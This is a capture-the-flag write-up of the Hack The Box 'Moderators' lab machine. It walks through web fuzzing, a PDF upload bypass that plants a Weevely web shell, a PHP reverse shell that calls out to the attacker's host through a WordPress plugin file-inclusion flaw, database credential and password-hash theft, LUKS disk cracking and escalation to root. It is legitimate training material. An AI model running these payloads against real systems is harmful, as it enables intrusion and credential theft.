🐧 Moderators

Wed Aug 10, 2022

Machine Hackthebox Linux Hard Web Cryptography Wordpress PHP Password Cracking Virtual Machines IDOR File Inclusion File Upload Weak Credentials

This is my writeup for the Moderators machine on the Hackthebox plateform.

Let’s start with an nmap scan to enumerate the different ports that are open.

Port 22 (SSH)
Port 80 (HTTP)

nmap -sC -sV -oA nmap/moderators 10.129.222.70

# Nmap 7.92 scan initiated Tue Aug  9 11:08:45 2022
Nmap scan report for 10.129.222.70
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 39:03:16:06:11:30:a0:b0:c2:91:79:88:d3:93:1b:3e (RSA)
|   256 51:94:5c:59:3b:bd:bc:b6:26:7a:ef:83:7f:4c:ca:7d (ECDSA)
|_  256 a5:6d:03:fa:6c:f5:b9:4a:a2:a1:b6:bd:bc:60:42:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Moderators
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug  9 11:09:12 2022 -- 1 IP address (1 host up) scanned in 27.16 seconds

Website

On the home page of the website, there is nothing interesting except links to the pages :

about.php
blog.php
contact.php

Homepage

On the blog page, another link redirects us to the Report of the 8121 vulnerability (report.php).

Reports

We can FUZZ the report parameter to find other report pages :

4221
3478
7612
2589
8121
9798

Intruder

Report 9798 has an interesting information which is the path to logs.

Logspath

The ID after the /logs/ appears to be MD5. Crackstation cracks it quite easily. It is the MD5 of the report ID (9798). You can FUZZ the directory to find interesting log files like the logs.pdf file located in /logs/MD5/logs.pdf !

ffuf -u http://10.129.129.102/logs/e21cece511f43a5cb18d4932429915ed/FUZZ -e .pdf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -fc 403

________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.129.102/logs/e21cece511f43a5cb18d4932429915ed/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
 :: Extensions       : .pdf
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

logs.pdf                [Status: 200, Size: 10059, Words: 754, Lines: 220, Duration: 111ms]
.                       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 110ms]

Unfortunately, the file exists but the content has been deleted.

LogsRemoved

Trying with the other Report IDs found previously, we find 2 logs.pdf files that are not empty and contain the path /logs/report_log_upload.php :

7612 -> ce5d75028d92047a9ec617acb9c34ce6
2589 -> 743c41a921516b04afde48bb48e28ce6

Reportphp

This new page has a log file upload feature. There is however a protection against files other than pdf. This protection can be bypassed.

FileUpload

First of all we will download Weevely which will allow us to generate a reverse shell and to communicate with it.

git clone https://github.com/epinna/weevely3/
python3 weevely3/weevely.py generate password123 qu35t.php

Generated 'qu35t.php' with password 'password123' of 774 byte size.

Then we will upload a real PDF file, intercept the request with Burp Suite, change the file name extension from .pdf to .pdf.php and add the content of the Weevely payload to the pdf content.

Upload

With a little fuzzing, we find that the files are uploaded in the folder : /logs/uploads/filename. So we get a reverse shell with Weevely !

python3 weevely3/weevely.py http://10.129.129.102/logs/uploads/qu35t.pdf.php password123    

[+] weevely 4.0.1

[+] Target:     10.129.129.102
[+] Session:    /home/qu35t/.weevely/sessions/10.129.129.102/qu35t.pdf_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
www-data
www-data@moderators:/var/www/html/logs/uploads $

www-data

There is a Wordpress running on port 8080. Its source code is located in the folder : /opt/site.new/

www-data@moderators:/opt/site.new $ ss -lnpt
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process  
LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*              
LISTEN   0        4096           127.0.0.1:8080          0.0.0.0:*              
LISTEN   0        4096       127.0.0.53%lo:53            0.0.0.0:*              
LISTEN   0        128              0.0.0.0:22            0.0.0.0:*              
LISTEN   0        511                    *:80                  *:*              
LISTEN   0        128                 [::]:22               [::]:*

If we look at the plugins installed on the Wordpress: /opt/site.new/wp-content/plugins/, we see that the Brandfolder plugin is installed. However, there is a Local/Remote File inclusion vulnerability present in version 3.0 of this plugin : https://www.exploit-db.com/exploits/39591 Following the POC, we can very simply include our wp-load.php file which contains a reverse shell and thus have access to the lexi account.

#!/bin/bash

mkdir -p /var/www/html/logs/uploads/qu35t/{wp-admin,includes}
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/media.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/file.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/image.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/post.php
echo '<?php $sock=fsockopen("10.10.14.12", 9001);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' > /var/www/html/logs/uploads/qu35t/wp-load.php

curl "http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/qu35t/"

nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.129.102] 39312
id
uid=1001(lexi) gid=1001(lexi) groups=1001(lexi),1002(moderators)

Lexi

Lexi has permissions to read the Wordpress configuration files. We can thus retrieve the database credentials located in the wp-config.php file.

// ** MySQL settings - You can get this info from your web host ** //                                                          
/** The name of the database for WordPress */                                                                                  
define( 'DB_NAME', 'wordpress' );                                                                                              

/** MySQL database username */                                                                                                 
define( 'DB_USER', 'wordpressuser' );                                                                                          

/** MySQL database password */                                                                                                 
define( 'DB_PASSWORD', 'wordpresspassword123!!' );                                                                             

/** MySQL hostname */                                                                                                          
define( 'DB_HOST', 'localhost' );                                                                                              

/** Database charset to use in creating database tables. */                                                                    
define( 'DB_CHARSET', 'utf8' );                                                                                                

/** The database collate type. Don't change this if in doubt. */                                                               
define( 'DB_COLLATE', '' );

MariaDB [wordpress]> select user_login,user_pass from wp_users;

+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BXasOiM52pOUIRntJTPVlMoH0ZlntT0 |
| lexi       | $P$BZ0Fj92qgnvg4F52r3lpwHejcXag461 |
+------------+------------------------------------+
2 rows in set (0.001 sec)

The Wordpress has 2 users :

admin
lexi

As we have the rights to edit the data in the database, we can change the password of the administrator by ours in order to connect to his account : https://www.useotools.com/fr/wordpress-password-hash-generator/

MariaDB [wordpress]> UPDATE wp_users SET user_pass = '$P$BPpQ7VN6aX1rn.il1p3tSFI/qX3lWM/' WHERE user_login = 'admin';

Query OK, 1 row affected (0.004 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Once the password is changed, we forward the port 8080 to our host to connect via Firefox.

ssh -L 8080:127.0.0.1:8080 -i lexi.key lexi@10.129.129.102

Last login: Wed Aug 10 10:23:17 2022 from 10.10.14.12
lexi@moderators:~$

Don’t forget to add the domain moderators.htb to our host file in order to load the wordpress resources.

GNU nano 6.4                                               /etc/hosts *                                                      
127.0.0.1       localhost moderators.htb

Once logged in, we can access the PWDMS tab and get john’s SSH private key to connect to his account via SSH.

SSHjohn

John

In the home of john there are the files of a VirtualBox virtual machine. The file 2019.vdi is a virtual disk.

└── stuff
    ├── exp
    │   ├── 2021-09-15.exp
    │   ├── 2021-09-17.exp
    │   ├── 2021-09-18.exp
    │   ├── 2021-09-19.exp
    │   ├── 2021-09-20.exp
    │   └── 2021-09-23.exp
    └── VBOX
        ├── 2019-08-01.vbox
        ├── 2019.vdi

We will create our own virtual machine under Ubuntu and add the disk 2019.vdi to read it :

Download the Ubuntu ISO : https://ubuntu.com/download/desktop
Download VirtualBox and install Extension Pack
Follow the following tutorial until step 8 : https://www.geeksforgeeks.org/how-to-install-ubuntu-on-virtualbox/
We add the disk 2019.vdi

Addvdi

Start the VM
Going to the disk manager, we see that the disk is encrypted

checkencrypt

You can crack the password with this tool : https://github.com/Diverto/cryptsetup-pwguess/releases

bruteforce

We can decrypt the disk with the password : abc123 and mount it to recover its contents.

Unlock

The disk has a lot of scripts for installing services. One script is worth mentioning because it was not updated at the same time as the others: distro_update.sh

Datechanged

This script contains the password of the sysadmin : john. We can raise our privileges with this password

adminpasswd

john@moderators:~$ sudo su
[sudo] password for john:

root@moderators:/home/john# id
uid=0(root) gid=0(root) groups=0(root)